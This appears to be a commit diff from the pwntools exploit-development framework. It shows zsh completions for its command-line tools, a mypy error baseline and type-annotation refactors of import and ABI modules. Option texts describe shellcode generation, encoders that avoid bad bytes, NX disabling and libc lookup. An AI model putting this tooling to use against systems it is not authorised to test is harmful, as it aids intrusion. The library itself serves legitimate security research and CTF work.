'(-i --case-insensitive)'{-i,--case-insensitive}'[Search case insensitive]' \
'(-m --mask-mode)'{-m,--mask-mode}'[Instead of searching for a specific constant value, search for values not containing strictly less bits that the given value.]' \
'(-c --context)'{-c,--context}'=[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: \["16", "32", "64", "android", "baremetal", "cgc", "freebsd", "linux", "windows", "powerpc64", "aarch64", "powerpc", "sparc64", "mips64", "msp430", "alpha", "amd64", "sparc", "thumb", "cris", "i386", "ia64", "m68k", "mips", "s390", "none", "avr", "arm", "vax", "little", "big", "be", "eb", "le", "el"\]]:-c :(16 32 64 android baremetal cgc freebsd linux windows powerpc64 aarch64 powerpc sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
'(-c --context)'{-c,--context}'[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386)]:CONTEXT:(16 32 64 baremetal freebsd windows android darwin linux cgc loongarch64 powerpc64 aarch64 powerpc riscv32 riscv64 sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
'1:REGEX: ' \
'2:CONST: ' \
'*: :'
;;
cyclic)
_arguments \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'(-a --alphabet)'{-a,--alphabet}'=[The alphabet to use in the cyclic pattern (defaults to all lower case letters)]:' \
'(-n --length)'{-n,--length}'=[Size of the unique subsequences (defaults to 4).]:' \
'(-c --context)'{-c,--context}'=[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: \["16", "32", "64", "android", "baremetal", "cgc", "freebsd", "linux", "windows", "powerpc64", "aarch64", "powerpc", "sparc64", "mips64", "msp430", "alpha", "amd64", "sparc", "thumb", "cris", "i386", "ia64", "m68k", "mips", "s390", "none", "avr", "arm", "vax", "little", "big", "be", "eb", "le", "el"\]]:-c :(16 32 64 android baremetal cgc freebsd linux windows powerpc64 aarch64 powerpc sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
'(-l -o --offset --lookup)'{-l,-o,--offset,--lookup}'=[Do a lookup instead printing the alphabet]:' \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'(-a --alphabet)'{-a,--alphabet}'[The alphabet to use in the cyclic pattern (defaults to all lower case letters)]:ALPHABETS: ' \
'(-n --length)'{-n,--length}'[Size of the unique subsequences (defaults to 4)]:LENGTH: ' \
'(-c --context)'{-c,--context}'[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386)]:CONTEXT:(16 32 64 baremetal freebsd windows android darwin linux cgc loongarch64 powerpc64 aarch64 powerpc riscv32 riscv64 sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
'(-l -o --offset --lookup)'{-l,-o,--offset,--lookup}'[Do a lookup instead printing the alphabet]:LOOKUP: ' \
'1:COUNT: ' \
'*: :'
;;
debug)
_arguments \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'-x=[Execute GDB commands from this file.]:' \
'--pid=[PID to attach to]:' \
'(-c --context)'{-c,--context}'=[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: \["16", "32", "64", "android", "baremetal", "cgc", "freebsd", "linux", "windows", "powerpc64", "aarch64", "powerpc", "sparc64", "mips64", "msp430", "alpha", "amd64", "sparc", "thumb", "cris", "i386", "ia64", "m68k", "mips", "s390", "none", "avr", "arm", "vax", "little", "big", "be", "eb", "le", "el"\]]:-c :(16 32 64 android baremetal cgc freebsd linux windows powerpc64 aarch64 powerpc sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
'--exec=[File to debug]:' \
'--process=[Name of the process to attach to (e.g. "bash")]:' \
'--sysroot=[GDB sysroot path]:' \
;;
'(-h --help)'{-h,--help}'[show help message and exit]' \
'-x[Execute GDB commands from this file]:GDBSCRIPT:_files' \
'--pid[PID to attach to]:PID: _comp_pid pid' \
'(-c --context)'{-c,--context}'[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386)]:CONTEXT:(16 32 64 baremetal freebsd windows android darwin linux cgc loongarch64 powerpc64 aarch64 powerpc riscv32 riscv64 sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
'--exec[File to debug]:EXE:_files' \
'--process[Name of the process to attach to (e.g. "bash")]:NAME: _comp_pid procs' \
'--sysroot[GDB sysroot path]:PATH:_files -/'
;;
disasm)
_arguments \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'(-c --context)'{-c,--context}'=[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: \["16", "32", "64", "android", "baremetal", "cgc", "freebsd", "linux", "windows", "powerpc64", "aarch64", "powerpc", "sparc64", "mips64", "msp430", "alpha", "amd64", "sparc", "thumb", "cris", "i386", "ia64", "m68k", "mips", "s390", "none", "avr", "arm", "vax", "little", "big", "be", "eb", "le", "el"\]]:-c :(16 32 64 android baremetal cgc freebsd linux windows powerpc64 aarch64 powerpc sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
'(-a --address)'{-a,--address}'=[Base address]:' \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'(-c --context)'{-c,--context}'[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386)]:CONTEXT:(16 32 64 baremetal freebsd windows android darwin linux cgc loongarch64 powerpc64 aarch64 powerpc riscv32 riscv64 sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
'(-a --address)'{-a,--address}'[Base address]:ADDR: ' \
'--color[Color output]' \
'--no-color[Disable color output]' \
'*:HEX: '
;;
disablenx)
_arguments \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'*:ELF:_files'
;;
elfdiff)
_arguments \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'1:ELF_A:_files' \
'2:ELF_B:_files' \
'*: :'
;;
elfpatch)
_arguments \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'1:ELF:_files' \
'2:OFFSET: ' \
'3:PATCH: ' \
'*: :'
;;
errno)
_arguments \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'1:ERROR:_comp_error' \
'*: :'
;;
hex)
_arguments \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'(-p --prefix)'{-p,--prefix}'[Insert a prefix before each byte]:PREFIX: ' \
'(-s --separator)'{-s,--separator}'[Add a separator between each byte]:SEPARATOR: ' \
'*:DATA: '
;;
libcdb)
local -a libc_cmds=(
'lookup:Lookup a libc version by function offsets'
'hash:Display information of a libc version given an unique hash'
'file:Dump information about a libc binary'
'fetch:Fetch libc database'
)
_arguments \
"1:LIBC_COMMAND: _describe 'libc command' libc_cmds" \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'*:: :->args'
if [[ $state != 'args' ]] {
return
}
case $words[1] {
(lookup)
_arguments \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'(-d --download-libc)'{-d,--download-libc}'[Attempt to download the matching libc.so]' \
'--no-unstrip[Do NOT attempt to unstrip the libc binary with debug symbols from a debuginfod server]' \
'--offline-only[Attempt to searching with offline only mode]' \
'*:SYMBOL_OFFSET_PAIRS: _message -r "SYMBOL_OFFSET_PAIRS Hint: read 3e0 write 520"'
;;
(hash)
_arguments \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'(-t --hash_type)'{-t,--hash_type}'[The type of the provided hash value]:HASH TYPE:(id buildid md5 sha1 sha256)' \
'(-d --download-libc)'{-d,--download-libc}'[Attempt to download the matching libc.so]' \
'--no-unstrip[Do NOT attempt to unstrip the libc binary with debug symbols from a debuginfod server]' \
'--offline-only[Attempt to searching with offline only mode]' \
'*:HASH VALUE: '
;;
(file)
_arguments \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'(-s --symbols)'{-s,--symbols}'[List of symbol offsets to dump in addition to the common ones]:SYMBOLS: ' \
'(-o --offset)'{-o,--offset}'[Display all offsets relative to this symbol]:OFFSET: ' \
'--unstrip[Attempt to unstrip the libc binary inplace with debug symbols from a debuginfod server]' \
'*:FILE:_files'
;;
(fetch)
_arguments \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'(-u --update)'{-u,--update}'[Fetch the desired libc categories]:UPDATE: ' \
'1:PATH:_files' \
'*: :'
;;
}
;;
phd)
_arguments \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'(-w --width)'{-w,--width}'=[Number of bytes per line.]:' \
'(-l --highlight)'{-l,--highlight}'=[Byte to highlight.]:' \
'(-s --skip)'{-s,--skip}'=[Skip this many initial bytes.]:' \
'(-c --count)'{-c,--count}'=[Only show this many bytes.]:' \
'(-o --offset)'{-o,--offset}'=[Addresses in left hand column starts at this address.]:' \
'--color=[Colorize the output. When "auto" output is colorized exactly when stdout is a TTY. Default is "auto".]:--color :(always never auto)' \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'(-w --width)'{-w,--width}'[Number of bytes per line]:WIDTH INT: ' \
'(-l --highlight)'{-l,--highlight}'[Byte to highlight]:*^<->:HIGHLIGHTS INT: ' \
'(-s --skip)'{-s,--skip}'[Skip this many initial bytes]:SKIP INT: ' \
'(-c --count)'{-c,--count}'[Only show this many bytes]:COUNT INT: ' \
'(-o --offset)'{-o,--offset}'[Addresses in left hand column starts at this address]:OFFSET INT: ' \
'--color[Colorize the output. When "auto" output is colorized exactly when stdout is a TTY; default is auto]:COLOR:(always never auto)' \
'1:FILE:_files' \
'*: :'
;;
pwnstrip)
_arguments \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'(-b --build-id)'{-b,--build-id}'[Strip build ID]' \
'(-p --patch)'{-p,--patch}'[Patch function]:FUNCTION:->funcs' \
'(-o --output)'{-o,--output}'[Output file]:OUTPUT:_files' \
'1:FILE:_files' \
'*: :'
if [[ $state == 'funcs' ]] {
_message "FUNCTION"
if [[ $#line -ne 0 ]] {
filename=$~line[1]
} elif [[ -f $~words[-1] ]] {
filename=$~words[-1]
} else {
return
}
_comp_funcs $filename
}
;;
scramble)
_arguments \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'(-f --format)'{-f,--format}'=[Output format (defaults to hex for ttys, otherwise raw)]:-f :(raw hex string elf)' \
'(-o --output)'{-o,--output}'=[Output file (defaults to stdout)]:' \
'(-c --context)'{-c,--context}'=[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: \["16", "32", "64", "android", "baremetal", "cgc", "freebsd", "linux", "windows", "powerpc64", "aarch64", "powerpc", "sparc64", "mips64", "msp430", "alpha", "amd64", "sparc", "thumb", "cris", "i386", "ia64", "m68k", "mips", "s390", "none", "avr", "arm", "vax", "little", "big", "be", "eb", "le", "el"\]]:-c :(16 32 64 android baremetal cgc freebsd linux windows powerpc64 aarch64 powerpc sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'(-f --format)'{-f,--format}'[Output format (defaults to hex for ttys, otherwise raw)]:FORMAT:(raw hex string elf)' \
'(-o --output)'{-o,--output}'[Output file (defaults to stdout)]:OUTPUT:_files' \
'(-c --context)'{-c,--context}'[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386)]:CONTEXT:(16 32 64 baremetal freebsd windows android darwin linux cgc loongarch64 powerpc64 aarch64 powerpc riscv32 riscv64 sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \
'(-p --alphanumeric)'{-p,--alphanumeric}'[Encode the shellcode with an alphanumeric encoder]' \
'(-v --avoid)'{-v,--avoid}'=[Encode the shellcode to avoid the listed bytes]:' \
'(-v --avoid)'{-v,--avoid}'[Encode the shellcode to avoid the listed bytes]:AVOID: ' \
'(-n --newline)'{-n,--newline}'[Encode the shellcode to avoid newlines]' \
'(-z --zero)'{-z,--zero}'[Encode the shellcode to avoid NULL bytes]' \
'(-d --debug)'{-d,--debug}'[Debug the shellcode with GDB]' \
;;
shellcraft)
_arguments \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'(-? --show)'{-?,--show}'[Show shellcode documentation]' \
'(-o --out)'{-o,--out}'=[Output file (default: stdout)]:' \
'(-f --format)'{-f,--format}'=[Output format (default: hex), choose from {e}lf, {r}aw, {s}tring, {c}-style array, {h}ex string, hex{i}i, {a}ssembly code, {p}reprocssed code, escape{d} hex string]:-f :(r raw s str string c h hex a asm assembly p i hexii e elf d escaped default)' \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'(-? --show)'{-\?,--show}'[Show shellcode documentation]' \
'(-o --out)'{-o,--out}'[Output file (default: stdout)]:OUTPUT:_files' \
'(-f --format)'{-f,--format}'[Output format (default: hex)]:FORMAT:(e r s c h i a p d)' \
'(-d --debug)'{-d,--debug}'[Debug the shellcode with GDB]' \
'--delim[Set the delimiter between multiple shellcodes]:DELIM: ' \
'(-b --before)'{-b,--before}'[Insert a debug trap before the code]' \
'(-a --after)'{-a,--after}'[Insert a debug trap after the code]' \
'(-v --avoid)'{-v,--avoid}'=[Encode the shellcode to avoid the listed bytes]:' \
'(-v --avoid)'{-v,--avoid}'[Encode the shellcode to avoid the listed bytes]:AVOID: ' \
'(-n --newline)'{-n,--newline}'[Encode the shellcode to avoid newlines]' \
'(-z --zero)'{-z,--zero}'[Encode the shellcode to avoid NULL bytes]' \
'(-r --run)'{-r,--run}'[Run output]' \
'--color[Color output]' \
'--no-color[Disable color output]' \
'--syscalls[List syscalls]' \
'--address=[Load address]:' \
'--address[Load address]:ADDRESS: ' \
'(-l --list)'{-l,--list}'[List available shellcodes, optionally provide a filter]' \
'(-s --shared)'{-s,--shared}'[Generated ELF is a shared library]' \
'*:SHELLCODE: '
;;
template)
_arguments \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'--host=[Remote host / SSH server]:' \
'--port=[Remote port / SSH port]:' \
'--user=[SSH Username]:' \
'(--pass --password)'{--pass,--password}'=[SSH Password]:' \
'--path=[Remote path of file on SSH server]:' \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'--host[Remote host / SSH server]:HOST:_ssh_hosts ' \
'--port[Remote port / SSH port]:PORT: ' \
'--user[SSH Username]:USER:_ssh_users' \
'(--pass --password)'{--pass,--password}'[SSH Password]:PASSWORD: ' \
'--libc[Path to libc binary to use. If not given, the current directory is searched for a libc binary]:LIBC_PATH:_files' \
'--path[Remote path of file on SSH server]:PATH:_files' \
'--quiet[Less verbose template comments]' \
'--color=[Print the output in color]:--color :(never always auto)' \
'--color[Print the output in color]:COLOR:(never always auto)' \
'--template[Path to a custom template]:TEMPLATE_PATH:_files' \
'--no-auto[Do not automatically detect missing binaries]' \
'1:EXE:_files' \
'*: :'
;;
unhex)
_arguments \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'*:HEX: '
;;
update)
_arguments \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'--install[Install the update automatically.]' \
'--pre[Check for pre-releases.]' \
'(-h --help)'{-h,--help}'[show help message and exit]' \
'--install[Install the update automatically]' \
'--pre[Check for pre-releases]' \
;;
version)
_arguments \
'(-h --help)'{-h,--help}'[show this help message and exit]' \
'(-h --help)'{-h,--help}'[show help message and exit]' \
;;
esac
;;
esac
}
_pwn
_pwn
+70
View File
@@ -0,0 +1,70 @@
pwnlib/filesystem/path.py:0: error: "classmethod" used with a non-method [misc]
pwnlib/filesystem/path.py:0: error: "classmethod" used with a non-method [misc]
pwnlib/util/packing.py:0: error: Name "_p8lu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p8lu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p8ls" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p8bu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p8bs" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p16lu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p16ls" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p16bu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p16bs" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p32lu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p32ls" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p32bu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p32bs" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p64lu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p64ls" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p64bu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p64bs" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Argument 1 to "get" of "dict" has incompatible type "tuple[Literal[8, 16, 32, 64] | Any, int, Any | None]"; expected "tuple[int, int, int]" [arg-type]
pwnlib/util/packing.py:0: error: Name "_u8lu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_u8ls" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_u8bu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_u8bs" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_u16lu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_u16ls" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_u16bu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_u16bs" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_u32lu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_u32ls" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_u32bu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_u32bs" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_u64lu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_u64ls" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_u64bu" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_u64bs" is not defined [name-defined]
pwnlib/util/packing.py:0: error: Name "_p8lu" is not defined [name-defined]
pwnlib/util/fiddling.py:0: error: Incompatible return value type (got "list[_OneT | int | _ZeroT]", expected "list[_ZeroT | _OneT] | list[int]") [return-value]
pwnlib/util/fiddling.py:0: error: Module has no attribute "_p8lu" [attr-defined]
pwnlib/util/fiddling.py:0: error: Module has no attribute "_p8lu" [attr-defined]
pwnlib/util/fiddling.py:0: error: Module has no attribute "_p8lu" [attr-defined]
pwnlib/util/fiddling.py:0: error: Module has no attribute "_p8lu" [attr-defined]
pwnlib/util/fiddling.py:0: error: Module has no attribute "_p8lu" [attr-defined]
pwnlib/util/fiddling.py:0: error: Module has no attribute "_p8lu" [attr-defined]
pwnlib/util/fiddling.py:0: error: No overload variant of "__add__" of "list" matches argument type "tuple[Any, ...]" [operator]
pwnlib/util/fiddling.py:0: note: Possible overload variants:
pwnlib/util/fiddling.py:0: note: def __add__(self, list[Any], /) -> list[Any]
pwnlib/util/fiddling.py:0: note: def [_S] __add__(self, list[_S], /) -> list[_S | Any]
pwnlib/util/fiddling.py:0: error: No overload variant of "__add__" of "tuple" matches argument type "list[Any]" [operator]
pwnlib/util/fiddling.py:0: note: def __add__(self, tuple[Any, ...], /) -> tuple[Any, ...]
pwnlib/util/fiddling.py:0: note: def [_T] __add__(self, tuple[_T, ...], /) -> tuple[Any | _T, ...]
pwnlib/util/fiddling.py:0: note: Both left and right operands are unions
pwnlib/util/fiddling.py:0: error: Module has no attribute "_p8lu" [attr-defined]
pwnlib/util/fiddling.py:0: error: Module has no attribute "_p8lu" [attr-defined]
pwnlib/util/sh_string.py:0: error: Argument 1 has incompatible type "*list[str | bytes | bytearray]"; expected "str | bytes" [arg-type]
pwnlib/util/proc.py:0: error: "sock" has no attribute "family" [attr-defined]
pwnlib/util/proc.py:0: error: "sock" has no attribute "type" [attr-defined]
pwnlib/util/proc.py:0: error: Argument 1 to "sock_match" has incompatible type "tuple[str, int]"; expected "addr" [arg-type]
pwnlib/util/proc.py:0: error: "None" has no attribute "pid" [attr-defined]
pwnlib/util/proc.py:0: error: Item "None" of "Process | None" has no attribute "pid" [union-attr]
pwnlib/util/proc.py:0: error: Module has no attribute "WinError" [attr-defined]
pwnlib/util/proc.py:0: error: Module has no attribute "get_last_error" [attr-defined]
pwnlib/util/proc.py:0: error: Module has no attribute "WinDLL" [attr-defined]
pwnlib/elf/elf.py:0: error: Need type annotation for "symbols" (hint: "symbols: dict[<type>, <type>] = ...") [var-annotated]
pwnlib/elf/elf.py:0: error: Need type annotation for "got" (hint: "got: dict[<type>, <type>] = ...") [var-annotated]
pwnlib/elf/elf.py:0: error: Need type annotation for "plt" (hint: "plt: dict[<type>, <type>] = ...") [var-annotated]
pwnlib/elf/elf.py:0: error: Need type annotation for "functions" (hint: "functions: dict[<type>, <type>] = ...") [var-annotated]
pwnlib/elf/elf.py:0: error: Name "address" already defined on line 0 [no-redef]
pwnlib/encoders/encoder.py:0: error: Need type annotation for "blacklist" (hint: "blacklist: set[<type>] = ...") [var-annotated]
pwnlib/rop/call.py:0: error: Need type annotation for "args" (hint: "args: list[<type>] = ...") [var-annotated]
+3 -3
View File
@@ -1,13 +1,13 @@
# Promote useful stuff to toplevel
from __future__ import absolute_import
from pwn.toplevel import *
import pwnlib.update
pwnlib.args.initialize()
pwnlib.log.install_default_handler()
pwnlib.config.initialize()
args = pwnlib.args.args
# Replace the module with the actual args object so that `from pwn import args` works as expected.
args = pwnlib.args.args # type: ignore[assignment]
if not platform.architecture()[0].startswith('64'):
"""Determines if the current Python interpreter is supported by Pwntools.
+66 -57
View File
@@ -1,64 +1,79 @@
# Get all the modules from pwnlib
import collections
import logging
import math
import operator
import os
import platform
import re
import socks
import signal
import string
import struct
import subprocess
import sys
import tempfile
import threading
import time
import collections as collections
import logging as logging
import math as math
import operator as operator
import os as os
import platform as platform
import re as re
import socks as socks
import signal as signal
import string as string
import struct as struct
import subprocess as subprocess
import sys as sys
import tempfile as tempfile
import threading as threading
import time as time
from pprint import pprint
try:
import colored_traceback
except ImportError:
pass
else:
try:
colored_traceback.add_hook()
except Exception:
# Exception: curses.error
# colored_traceback (curses.setupterm()) fails if TERM is unset.
# This is not critical, so we just ignore it.
# We cannot import `curses` for `curses.error` because it is not
# available on all platforms (e.g. Windows).
pass
import pwnlib
from pprint import pprint as pprint
import pwnlib as pwnlib
from pwnlib import *
from pwnlib.asm import *
from pwnlib.context import Thread
from pwnlib.context import context, LocalContext
from pwnlib.dynelf import DynELF
from pwnlib.context import Thread as Thread
from pwnlib.context import context as context, LocalContext as LocalContext
from pwnlib.dynelf import DynELF as DynELF
from pwnlib.encoders import *
from pwnlib.elf.corefile import Core, Corefile, Coredump
from pwnlib.elf.elf import ELF, load
from pwnlib.elf.corefile import Core as Core, Corefile as Corefile, Coredump as Coredump
from pwnlib.elf.elf import ELF as ELF, load as load
from pwnlib.encoders import *
from pwnlib.exception import PwnlibException
from pwnlib.gdb import attach, debug_assembly, debug_shellcode
from pwnlib.exception import PwnlibException as PwnlibException
from pwnlib.gdb import attach as attach, debug_assembly as debug_assembly, debug_shellcode as debug_shellcode
from pwnlib.filepointer import *
from pwnlib.filesystem import *
from pwnlib.flag import *
from pwnlib.fmtstr import FmtStr, fmtstr_payload, fmtstr_split
from pwnlib.fmtstr import FmtStr as FmtStr, fmtstr_payload as fmtstr_payload, fmtstr_split as fmtstr_split
from pwnlib.log import getLogger
from pwnlib.memleak import MemLeak, RelativeMemLeak
from pwnlib.memleak import MemLeak as MemLeak, RelativeMemLeak as RelativeMemLeak
from pwnlib.regsort import *
from pwnlib.replacements import *
from pwnlib.rop import ROP
from pwnlib.rop.call import AppendedArgument
from pwnlib.rop.srop import SigreturnFrame
from pwnlib.rop.ret2dlresolve import Ret2dlresolvePayload
from pwnlib.rop import ROP as ROP
from pwnlib.rop.call import AppendedArgument as AppendedArgument
from pwnlib.rop.srop import SigreturnFrame as SigreturnFrame
from pwnlib.rop.ret2dlresolve import Ret2dlresolvePayload as Ret2dlresolvePayload
from pwnlib.runner import *
from pwnlib.term.readline import str_input
from pwnlib.timeout import Timeout
from pwnlib.tubes.listen import listen
from pwnlib.tubes.process import process, PTY, PIPE, STDOUT
from pwnlib.tubes.remote import remote, tcp, udp, connect
from pwnlib.tubes.serialtube import serialtube
from pwnlib.tubes.server import server
from pwnlib.tubes.ssh import ssh
from pwnlib.tubes.tube import tube
from pwnlib.term.readline import str_input as str_input
from pwnlib.timeout import Timeout as Timeout
from pwnlib.tubes.listen import listen as listen
from pwnlib.tubes.process import process as process, PTY as PTY, PIPE as PIPE, STDOUT as STDOUT
from pwnlib.tubes.remote import remote as remote, tcp as tcp, udp as udp, connect as connect
from pwnlib.tubes.serialtube import serialtube as serialtube
from pwnlib.tubes.server import server as server
from pwnlib.tubes.ssh import ssh as ssh
from pwnlib.tubes.tube import tube as tube
from pwnlib.ui import *
from pwnlib.util import crc
from pwnlib.util import iters
from pwnlib.util import net
from pwnlib.util import proc
from pwnlib.util import safeeval
from pwnlib.util.crc import BitPolynom
from pwnlib.util import crc as crc
from pwnlib.util import iters as iters
from pwnlib.util import net as net
from pwnlib.util import proc as proc
from pwnlib.util import safeeval as safeeval
from pwnlib.util.crc import BitPolynom as BitPolynom
from pwnlib.util.cyclic import *
from pwnlib.util.fiddling import *
from pwnlib.util.getdents import *
@@ -66,15 +81,16 @@ from pwnlib.util.hashes import *
from pwnlib.util.lists import *
from pwnlib.util.misc import *
from pwnlib.util.packing import *
from pwnlib.util.proc import pidof
from pwnlib.util.sh_string import sh_string, sh_prepare, sh_command_with
from pwnlib.util.proc import pidof as pidof
from pwnlib.util.sh_string import sh_string as sh_string, sh_prepare as sh_prepare, sh_command_with as sh_command_with
from pwnlib.util.splash import *
from pwnlib.util.web import *
from pwnlib.libc import *
# Promote these modules, so that "from pwn import *" will let you access them
from six.moves import cPickle as pickle, cStringIO as StringIO
from six import BytesIO
import pickle as pickle
from io import BytesIO as BytesIO, StringIO as StringIO
log = getLogger("pwnlib.exploit")
error = log.error
@@ -84,12 +100,5 @@ info = log.info
debug = log.debug
success = log.success
try:
import colored_traceback
except ImportError:
pass
else:
colored_traceback.add_hook()
# Equivalence with the default behavior of "from import *"
# __all__ = [x for x in tuple(globals()) if not x.startswith('_')]
+1 -1
View File
@@ -23,7 +23,6 @@ __all__ = [
'libcdb',
'log',
'memleak',
'pep237',
'regsort',
'replacements',
'rop',
@@ -36,6 +35,7 @@ __all__ = [
'util',
'update',
'version',
'windbg',
]
from . import args
+23 -14
View File
@@ -1,35 +1,34 @@
# -*- coding: utf-8 -*-
from __future__ import absolute_import
from __future__ import division
from pwnlib.context import LocalContext
from pwnlib.context import context
class ABI(object):
class ABI:
"""
Encapsulates information about a calling convention.
"""
#: Register which points to the top of the stack.
stack: str
#: List or registers which should be filled with arguments before
#: spilling onto the stack.
register_arguments = []
register_arguments: list[str]
#: Minimum alignment of the stack.
#: The value used is min(context.bytes, stack_alignment)
#: This is necessary as Windows x64 frames must be 32-byte aligned.
#: "Alignment" is considered with respect to the last argument on the stack.
arg_alignment = 1
arg_alignment: int
#: Minimum number of stack slots used by a function call
#: This is necessary as Windows x64 requires using 4 slots on the stack
stack_minimum = 0
stack_minimum: int
#: Indicates that this ABI returns to the next address on the slot
returns = True
returns: bool = True
def __init__(self, stack, regs, align, minimum):
def __init__(self, stack, arg_regs, align, minimum):
self.stack = stack
self.register_arguments = regs
self.register_arguments = arg_regs
self.arg_alignment = align
self.stack_minimum = minimum
@@ -50,6 +49,7 @@ class ABI(object):
(64, 'powerpc', 'linux'): linux_ppc64,
(32, 'riscv32', 'linux'): linux_riscv32,
(64, 'riscv64', 'linux'): linux_riscv64,
(64, 'loongarch64', 'linux'): linux_loongarch64,
(32, 'i386', 'freebsd'): freebsd_i386,
(64, 'aarch64', 'freebsd'): freebsd_aarch64,
(64, 'amd64', 'freebsd'): freebsd_amd64,
@@ -77,18 +77,17 @@ class ABI(object):
(32, 'arm', 'linux'): linux_arm_syscall,
(32, 'thumb', 'linux'): linux_arm_syscall,
(32, 'mips', 'linux'): linux_mips_syscall,
(64, 'aarch64', 'linux'): linux_aarch64_syscall,
(32, 'powerpc', 'linux'): linux_ppc_syscall,
(64, 'powerpc', 'linux'): linux_ppc64_syscall,
(32, 'riscv32', 'linux'): linux_riscv32_syscall,
(64, 'riscv64', 'linux'): linux_riscv64_syscall,
(64, 'loongarch64', 'linux'): linux_loongarch64_syscall,
(32, 'i386', 'freebsd'): freebsd_i386_syscall,
(64, 'amd64', 'freebsd'): freebsd_amd64_syscall,
(64, 'aarch64', 'freebsd'): freebsd_aarch64_syscall,
(32, 'arm', 'freebsd'): freebsd_arm_syscall,
(32, 'thumb', 'freebsd'): freebsd_arm_syscall,
(32, 'mips', 'freebsd'): freebsd_mips_syscall,
(64, 'aarch64', 'freebsd'): freebsd_aarch64_syscall,
(32, 'powerpc', 'freebsd'): freebsd_ppc_syscall,
(64, 'powerpc', 'freebsd'): freebsd_ppc64_syscall,
(64, 'amd64', 'darwin'): darwin_amd64_syscall,
